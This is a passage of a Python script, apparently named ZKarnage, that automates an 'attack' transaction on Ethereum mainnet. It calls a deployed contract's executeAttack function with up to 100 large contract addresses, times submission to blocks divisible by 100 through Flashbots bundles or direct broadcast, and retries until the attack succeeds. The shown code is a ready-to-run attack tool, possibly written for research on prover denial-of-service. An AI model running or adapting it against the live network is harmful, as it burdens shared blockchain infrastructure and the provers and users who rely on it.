| 607 | last_logged_block = current_block 608 | last_status_check = 0 609 | while current_block < target_block: 610 | # Check bundle status every 15 seconds while waiting 611 | if time.time() - last_status_check > 15: 612 | logger.info(f"Checking current bundle status while waiting...") 613 | 614 | # Use the V2 API for more detailed status 615 | status = await self.flashbots.check_flashbots_status(bundle_hash, target_block) 616 | 617 | if 'result' in status: 618 | status_result = status.get('result', {}) 619 | 620 | # Check for builder consideration 621 | builders = status_result.get('consideredByBuildersAt', []) 622 | seals = status_result.get('sealedByBuildersAt', []) 623 | 624 | if seals: 625 | logger.info(f"EXCELLENT! Bundle has been sealed by {len(seals)} builders") 626 | for sealed in seals: 627 | logger.info(f" - Sealed by: {sealed.get('pubkey')[:16]}... at {sealed.get('timestamp')}") 628 | elif builders: 629 | logger.info(f"Bundle is being considered by {len(builders)} builders") 630 | else: 631 | # If no builders are considering it, analyze why 632 | if status_result.get('isHighPriority', False): 633 | logger.info("Bundle is high priority but not yet considered by builders") 634 | 635 | # Check simulation status 636 | if status_result.get('isSimulated', False): 637 | logger.info(f"Bundle was simulated at: {status_result.get('simulatedAt')}") 638 | else: 639 | logger.warning("Bundle has not been simulated yet") 640 | 641 | last_status_check = time.time() 642 | 643 | await asyncio.sleep(5) # Check every 5 seconds 644 | current_block = self.w3.eth.block_number 645 | 646 | # Only log when block number changes 647 | if current_block > last_logged_block: 648 | logger.info(f"Waiting for block {target_block}, current block is {current_block}") 649 | last_logged_block = current_block 650 | 651 | logger.info(f"Target block {target_block} reached") 652 | 653 | # Now that we've reached the target block, check for our transaction 654 | logger.info(f"Checking block {target_block} for bundle inclusion") 655 | 656 | # Get the block and check for our transaction 657 | block = self.w3.eth.get_block(target_block, full_transactions=True) 658 | tx_count = len(block.transactions) 659 | logger.info(f"Block contains {tx_count} transactions") 660 | 661 | # Check for our transaction in the block 662 | for tx in block.transactions: 663 | # Try to match our bundle hash or tx hash 664 | tx_hash_current = self.w3.to_hex(tx.hash) if hasattr(tx, 'hash') else tx 665 | 666 | # If we have a tx_hash to match against, use it 667 | if tx_hash and tx_hash_current.lower() == tx_hash.lower(): 668 | logger.info(f"Found our transaction in the block: {tx_hash}") 669 | return True 670 | 671 | # Get receipt to check status 672 | try: 673 | receipt = self.w3.eth.get_transaction_receipt(tx_hash_current) 674 | if receipt: 675 | # Check if this transaction is from our account 676 | if receipt.get('from', '').lower() == self.account.address.lower(): 677 | logger.info(f"Found our transaction: {tx_hash_current}") 678 | logger.info(f"Transaction status: {'Success' if receipt.status == 1 else 'Failed'}") 679 | return receipt.status == 1 680 | except Exception as e: 681 | logger.warning(f"Error checking receipt for tx {tx_hash_current}: {e}") 682 | 683 | # Now that target block has passed, check transaction status using the API 684 | if tx_hash: 685 | logger.info(f"Checking individual transaction status via Flashbots API after target block...") 686 | final_tx_status = await self.flashbots.check_transaction_status(tx_hash) 687 | 688 | status = final_tx_status.get("status", "UNKNOWN") 689 | logger.info(f"Transaction Status: {status}") 690 | 691 | if status == "INCLUDED": 692 | logger.info(f"Transaction {tx_hash} was confirmed as included via Transaction Status API") 693 | return True 694 | 695 | # Do one final check with the V2 API to confirm status 696 | final_status = await self.flashbots.check_flashbots_status(bundle_hash, target_block) 697 | 698 | if 'result' in final_status: 699 | status_result = final_status.get('result', {}) 700 | seals = status_result.get('sealedByBuildersAt', []) 701 | 702 | if seals: 703 | logger.warning(f"Bundle was sealed by {len(seals)} builders but not found in block {target_block}") 704 | logger.warning("This is unusual and may indicate the bundle was outbid or the block producer chose a different bundle") 705 | else: 706 | logger.warning(f"Bundle with hash {bundle_hash} was not sealed by any builders") 707 | logger.warning("The bundle was likely not competitive enough for inclusion") 708 | 709 | logger.warning(f"Bundle with hash {bundle_hash} not found in block {target_block}") 710 | return False 711 | 712 | except Exception as e: 713 | logger.error(f"Error checking bundle status: {e}") 714 | logger.error(f"Traceback: {traceback.format_exc()}") 715 | return False 716 | 717 | async def execute_attack(self, target_hundred: bool = True, fast_mode: bool = False, flashbots_mode: bool = False) -> bool: 718 | """ 719 | Execute ZKarnage attack. 720 | 721 | Args: 722 | target_hundred: Whether to target block divisible by 100 723 | fast_mode: If True, target a block just 2 blocks ahead instead of waiting for hundred-block 724 | flashbots_mode: If True, submit Flashbots bundle instead of direct transaction 725 | 726 | Returns: 727 | Whether attack was successful 728 | """ 729 | try: 730 | # Validate contract is deployed 731 | if not self.contract_address: 732 | raise ZKarnageError("No contract address specified") 733 | 734 | # Determine target block 735 | current_block = self.w3.eth.block_number 736 | if fast_mode: 737 | target_block = current_block + 2 # Target just 2 blocks ahead for quick testing 738 | logger.info("FAST MODE: Targeting block 2 blocks ahead") 739 | else: 740 | target_block = self.get_next_hundred_block(current_block) if target_hundred else current_block + 1 741 | 742 | # Log attack details 743 | logger.info(f"Preparing ZKarnage attack") 744 | logger.info(f"Current block: {current_block}") 745 | logger.info(f"Target block: {target_block}") 746 | 747 | # Check user stats to determine if we need higher fees only if in Flashbots mode 748 | is_high_priority = False 749 | if flashbots_mode: 750 | logger.info("Checking Flashbots user stats and reputation...") 751 | user_stats = await self.flashbots.check_user_stats(current_block) 752 | 753 | if 'result' in user_stats: 754 | is_high_priority = user_stats.get('result', {}).get('isHighPriority', False) 755 | 756 | if not is_high_priority: 757 | logger.warning("Account does not have high priority status with Flashbots") 758 | logger.warning("Bundles may need higher priority fees to be competitive") 759 | else: 760 | logger.info("Account has HIGH PRIORITY status with Flashbots - bundles will be prioritized") 761 | 762 | # Prepare transaction with priority fee adjusted based on reputation 763 | tx = self._prepare_attack_transaction(target_block, is_high_priority) 764 | signed_tx = self.w3.eth.account.sign_transaction(tx, self.account.key) 765 | 766 | # Extract transaction hash for later status checks 767 | tx_hash = signed_tx.hash.hex() 768 | logger.info(f"Transaction hash: {tx_hash}") 769 | 770 | # Wait until we're 4 blocks away from target 771 | last_logged_block = current_block 772 | while True: 773 | current_block = self.w3.eth.block_number 774 | blocks_remaining = target_block - current_block 775 | 776 | if blocks_remaining <= 4: 777 | logger.info(f"Within 4 blocks of target (current: {current_block}, target: {target_block})") 778 | break 779 | 780 | # Only log if block number changed and it's a multiple of 10 blocks remaining 781 | if current_block > last_logged_block and blocks_remaining % 10 == 0: 782 | logger.info(f"Waiting for block {current_block + (blocks_remaining - 4)} to submit bundle (current: {current_block}, target: {target_block})") 783 | last_logged_block = current_block 784 | 785 | await asyncio.sleep(2) # Check every 2 seconds 786 | 787 | if not flashbots_mode: 788 | # Wait until 1 block before target 789 | while current_block < target_block - 1: 790 | current_block = self.w3.eth.block_number 791 | await asyncio.sleep(1) 792 | 793 | # Submit direct transaction 794 | logger.info("Submitting direct transaction...") 795 | tx_hash = self.w3.eth.send_raw_transaction(signed_tx.rawTransaction) 796 | logger.info(f"Transaction submitted with hash: {tx_hash.hex()}") 797 | 798 | # Wait for transaction to be mined 799 | logger.info("Waiting for transaction to be mined...") 800 | receipt = self.w3.eth.wait_for_transaction_receipt(tx_hash, timeout=300) # 5 minute timeout 801 | 802 | if receipt and receipt.status == 1: 803 | logger.info("Transaction successfully mined!") 804 | return True 805 | else: 806 | logger.error("Transaction failed or timed out") 807 | return False 808 | 809 | # Simulate bundle 810 | logger.info("Simulating bundle...") 811 | sim_result = await self.flashbots.simulate_bundle( 812 | [signed_tx.rawTransaction], 813 | target_block 814 | ) 815 | 816 | # Check for transaction revert in simulation results 817 | if sim_result.get('raw_result', {}).get('result', {}).get('results', []): 818 | tx_results = sim_result.get('raw_result', {}).get('result', {}).get('results', []) 819 | for i, tx_result in enumerate(tx_results): 820 | if tx_result.get('error'): 821 | logger.error(f"Transaction {i} failed with error: {tx_result.get('error')}") 822 | # If there's a revert reason, try to decode it 823 | if 'revert' in tx_result.get('error', '') and tx_result.get('revert'): 824 | logger.error(f"Revert reason: {tx_result.get('revert')}") 825 | 826 | # Check simulation result in detail 827 | if not sim_result.get('success', False): 828 | logger.error("Bundle simulation failed") 829 | 830 | # Log detailed simulation error 831 | if 'error' in sim_result: 832 | logger.error(f"Simulation error: {sim_result['error']}") 833 | 834 | # Provide additional helpful information 835 | logger.error("Possible issues:") 836 | logger.error("1. Verify contract function signature: executeAttack(address[])") 837 | logger.error("2. Check if target contract exists at the specified address") 838 | logger.error("3. Check if the account has sufficient gas") 839 | 840 | # Check if the transaction is actually successful despite errors 841 | if sim_result.get('raw_result', {}).get('result', {}).get('bundleHash'): 842 | logger.info("Transaction produced a bundleHash, proceeding with submission anyway") 843 | else: 844 | return False 845 | 846 | # Log simulation details 847 | sim_details = sim_result.get('details', {}) 848 | logger.info(f"Simulation successful") 849 | logger.info(f"Total gas used: {sim_details.get('totalGasUsed', 'N/A')}") 850 | logger.info(f"Coinbase difference: {sim_details.get('coinbaseDiff', 'N/A')}") 851 | 852 | # Submit bundle 853 | logger.info("Submitting bundle to Flashbots...") 854 | bundle_submission = await self.flashbots.submit_bundle( 855 | [signed_tx.rawTransaction], 856 | target_block 857 | ) 858 | 859 | # Check bundle submission 860 | if not bundle_submission: 861 | logger.error("Bundle submission failed") 862 | return False 863 | 864 | # Log bundle submission details 865 | bundle_hash = bundle_submission.get('bundle_hash', 'N/A') 866 | logger.info(f"Bundle submitted successfully") 867 | logger.info(f"Bundle Hash: {bundle_hash}") 868 | 869 | # Check transaction status using the transaction status API 870 | logger.info(f"Checking individual transaction status via Flashbots API...") 871 | tx_status = await self.flashbots.check_transaction_status(tx_hash) 872 | logger.info(f"Transaction status API response: {json.dumps(tx_status, indent=2)}") 873 | 874 | # Check bundle status with Flashbots V2 API 875 | logger.info(f"Checking bundle status with Flashbots V2 API...") 876 | status = await self.flashbots.check_flashbots_status(bundle_hash, target_block) 877 | 878 | # Process the V2 API response 879 | if 'result' in status: 880 | status_result = status.get('result', {}) 881 | logger.info(f"Bundle Status V2: {json.dumps(status_result, indent=2)}") 882 | 883 | # Display key bundle metrics 884 | is_high_priority = status_result.get('isHighPriority', False) 885 | is_simulated = status_result.get('isSimulated', False) 886 | 887 | logger.info(f"Bundle priority: {'HIGH' if is_high_priority else 'STANDARD'}") 888 | logger.info(f"Bundle simulation: {'COMPLETED' if is_simulated else 'PENDING'}") 889 | 890 | # Check if any builders are considering the bundle 891 | builders_considering = status_result.get('consideredByBuildersAt', []) 892 | if builders_considering: 893 | logger.info(f"Bundle is being considered by {len(builders_considering)} builders") 894 | else: 895 | logger.warning(f"Bundle is not being considered by any builders") 896 | 897 | # Check if any builders have sealed the bundle 898 | builders_sealed = status_result.get('sealedByBuildersAt', []) 899 | if builders_sealed: 900 | logger.info(f"GREAT NEWS! Bundle has been sealed by {len(builders_sealed)} builders") 901 | for sealed in builders_sealed: 902 | logger.info(f" - Sealed by: {sealed.get('pubkey')[:16]}... at {sealed.get('timestamp')}") 903 | else: 904 | logger.warning(f"No status result available for bundle {bundle_hash}") 905 | 906 | # Wait for the target block and check bundle inclusion 907 | logger.info(f"Waiting for target block {target_block} to check bundle inclusion") 908 | bundle_included = await self.check_bundle_status(bundle_hash, target_block, tx_hash) 909 | 910 | if bundle_included: 911 | logger.info(f"Bundle successfully included in block {target_block}") 912 | return True 913 | else: 914 | logger.warning(f"Bundle not included in target block {target_block}") 915 | return False 916 | 917 | except Exception as e: 918 | logger.error(f"Attack execution failed: {e}") 919 | logger.error(f"Traceback: {traceback.format_exc()}") 920 | return False 921 | 922 | def _prepare_attack_transaction(self, target_block: int, is_high_priority: bool) -> Dict[str, Any]: 923 | """ 924 | Prepare attack transaction. 925 | 926 | Args: 927 | target_block: Block number to target 928 | is_high_priority: Whether the account has high priority status (no longer used) 929 | 930 | Returns: 931 | Transaction dictionary 932 | """ 933 | # Get latest block for base fee estimation 934 | latest = self.w3.eth.get_block("latest") 935 | base_fee = latest.get("baseFeePerGas", self.w3.eth.gas_price) 936 | 937 | # ABI for executing attack (simplified) 938 | attack_abi = { 939 | "inputs": [{"name": "targets", "type": "address[]"}], 940 | "name": "executeAttack", 941 | "type": "function" 942 | } 943 | 944 | # Load contract targets from CSV file 945 | try: 946 | import csv 947 | import os 948 | 949 | # Get the directory of the current script 950 | script_dir = os.path.dirname(os.path.abspath(__file__)) 951 | csv_path = os.path.join(script_dir, "big-contracts.csv") 952 | 953 | # Default to 100 contracts if not specified 954 | max_contracts = int(os.getenv('MAX_CONTRACTS', '100')) 955 | 956 | contract_targets = [] 957 | with open(csv_path, 'r') as f: 958 | reader = csv.DictReader(f) 959 | for row in reader: 960 | if len(contract_targets) >= max_contracts: 961 | break 962 | contract_targets.append(Web3.to_checksum_address(row['address'])) 963 | 964 | logger.info(f"Loaded {len(contract_targets)} contracts from {csv_path}") 965 | 966 | except Exception as e: 967 | logger.error(f"Error loading contracts from CSV: {e}") 968 | logger.error("Falling back to hardcoded contract list") 969 | # Fallback to hardcoded list if CSV loading fails 970 | contract_targets = [ 971 | Web3.to_checksum_address("0x1908D2bD020Ba25012eb41CF2e0eAd7abA1c48BC"), 972 | # ... rest of the hardcoded addresses ... 973 | ] 974 | 975 | # Debug print addresses 976 | logger.info(f"Contract targets: {contract_targets}") 977 | logger.info(f"Number of targets: {len(contract_targets)}") 978 | 979 | # Encode the function call data using eth-abi 980 | encoded_data = encode(['address[]'], [contract_targets]) 981 | 982 | # Debug print encoded data 983 | logger.info(f"Encoded data (hex): {encoded_data.hex()}") 984 | 985 | # Get function signature - ensure we get exactly 4 bytes 986 | function_selector = Web3.keccak(text="executeAttack(address[])").hex()[0:10] # 0x + 8 chars (4 bytes) 987 | logger.info(f"Function selector: {function_selector}") 988 | 989 | # Full transaction data 990 | data = function_selector + encoded_data.hex() 991 | logger.info(f"Complete transaction data: {data[:64]}...") 992 | 993 | # Set standard fees 994 | max_priority_fee = Web3.to_wei(0.1, 'gwei') # Standard priority fee 995 | max_fee_per_gas = base_fee + Web3.to_wei(1, 'gwei') # Base fee plus 1 gwei 996 | 997 | logger.info(f"Using standard fees - Max Fee: {Web3.from_wei(max_fee_per_gas, 'gwei')} gwei, " 998 | f"Priority Fee: {Web3.from_wei(max_priority_fee, 'gwei')} gwei") 999 | 1000 | # Calculate gas limit based on number of contracts 1001 | # Base cost of 86k gas for 12 contracts = ~7,167 gas per contract 1002 | gas_per_contract = 7167 1003 | num_contracts = len(contract_targets) 1004 | gas_limit = gas_per_contract * num_contracts 1005 | 1006 | # Add some buffer (20%) to account for variations 1007 | gas_limit = int(gas_limit * 1.2) 1008 | 1009 | logger.info(f"Calculated gas limit: {gas_limit} (based on {num_contracts} contracts)") 1010 | 1011 | # Create transaction dictionary with all required fields 1012 | tx = { 1013 | 'type': 2, # EIP-1559 transaction 1014 | 'to': self.contract_address, 1015 | 'from': self.account.address, 1016 | 'gas': gas_limit, 1017 | 'value': 0, # Important to set explicitly 1018 | 'maxFeePerGas': max_fee_per_gas, 1019 | 'maxPriorityFeePerGas': max_priority_fee, 1020 | 'nonce': self.w3.eth.get_transaction_count(self.account.address), 1021 | 'data': data, 1022 | 'chainId': self.w3.eth.chain_id, 1023 | } 1024 | 1025 | logger.info(f"Transaction prepared: {tx}") 1026 | return tx 1027 | 1028 | async def main(): 1029 | """Main execution function.""" 1030 | # Load environment variables 1031 | load_dotenv() 1032 | 1033 | # Check for flags 1034 | fast_mode = "--fast" in sys.argv 1035 | flashbots_mode = "--flashbots" in sys.argv 1036 | 1037 | if fast_mode: 1038 | logger.info("Fast mode enabled: will target block 2 blocks ahead") 1039 | if flashbots_mode: 1040 | logger.info("Flashbots mode enabled: will submit bundle instead of direct transaction") 1041 | else: 1042 | logger.info("Direct transaction mode: will submit transaction directly to network") 1043 | 1044 | # Required environment variables 1045 | ETH_RPC_URL = os.getenv('ETH_RPC_URL') 1046 | PRIVATE_KEY = os.getenv('PRIVATE_KEY') 1047 | FLASHBOTS_RELAY_URL = os.getenv('FLASHBOTS_RELAY_URL', 'https://relay.flashbots.net') 1048 | CONTRACT_ADDRESS = os.getenv('ZKARNAGE_CONTRACT_ADDRESS', "0x55A942D18C0C57975e834Ee3afc8DEe01b674C43") 1049 | 1050 | # Log the contract address being used 1051 | logger.info(f"Using ZKarnage contract address: {CONTRACT_ADDRESS}") 1052 | 1053 | # Validate required variables 1054 | if not all([ETH_RPC_URL, PRIVATE_KEY, CONTRACT_ADDRESS]): 1055 | logger.error("Missing required environment variables") 1056 | return 1 1057 | 1058 | # Initialize Web3 1059 | w3 = Web3(HTTPProvider(ETH_RPC_URL)) 1060 | 1061 | # Validate connection 1062 | if not w3.is_connected(): 1063 | logger.error("Failed to connect to Ethereum network") 1064 | return 1 1065 | 1066 | # Create account 1067 | account = Account.from_key(PRIVATE_KEY) 1068 | 1069 | # Initialize ZKarnage 1070 | zkarnage = ZKarnage( 1071 | w3=w3, 1072 | account=account, 1073 | relay_url=FLASHBOTS_RELAY_URL, 1074 | contract_address=Web3.to_checksum_address(CONTRACT_ADDRESS) 1075 | ) 1076 | 1077 | # For fast mode, just run once 1078 | if fast_mode: 1079 | logger.info("Fast mode: Running single attack attempt") 1080 | success = await zkarnage.execute_attack(target_hundred=True, fast_mode=True, flashbots_mode=flashbots_mode) 1081 | return 0 if success else 1 1082 | 1083 | # For hundred-block mode, keep trying until success 1084 | logger.info("Continuous mode: Will keep trying until a successful attack") 1085 | attempt_number = 1 1086 | 1087 | while True: 1088 | logger.info(f"=== Starting attack attempt #{attempt_number} ===") 1089 | 1090 | # Get current block to estimate time until next hundred-block 1091 | current_block = w3.eth.block_number 1092 | next_hundred = zkarnage.get_next_hundred_block(current_block) 1093 | blocks_to_wait = next_hundred - current_block 1094 | 1095 | logger.info(f"Current block: {current_block}") 1096 | logger.info(f"Next target block: {next_hundred} ({blocks_to_wait} blocks away)") 1097 | 1098 | # Run the attack 1099 | success = await zkarnage.execute_attack(target_hundred=True, fast_mode=False, flashbots_mode=flashbots_mode) 1100 | 1101 | if success: 1102 | logger.info(f"Attack succeeded on attempt #{attempt_number}!") 1103 | return 0 1104 | 1105 | logger.warning(f"Attack attempt #{attempt_number} failed. Preparing for next attempt...") 1106 | attempt_number += 1 1107 | 1108 | # Wait a bit before trying again to avoid hammering the API 1109 | # Calculate approximately how long until the next hundred-block 1110 | # Assuming ~12 second block times 1111 | estimated_wait = (blocks_to_wait-4) * 12 / 2 1112 | logger.info(f"Waiting {estimated_wait:.0f} seconds before next attempt...") 1113 | await asyncio.sleep(estimated_wait) 1114 | 1115 | if __name__ == "__main__": 1116 | sys.exit(asyncio.run(main())) --------------------------------------------------------------------------------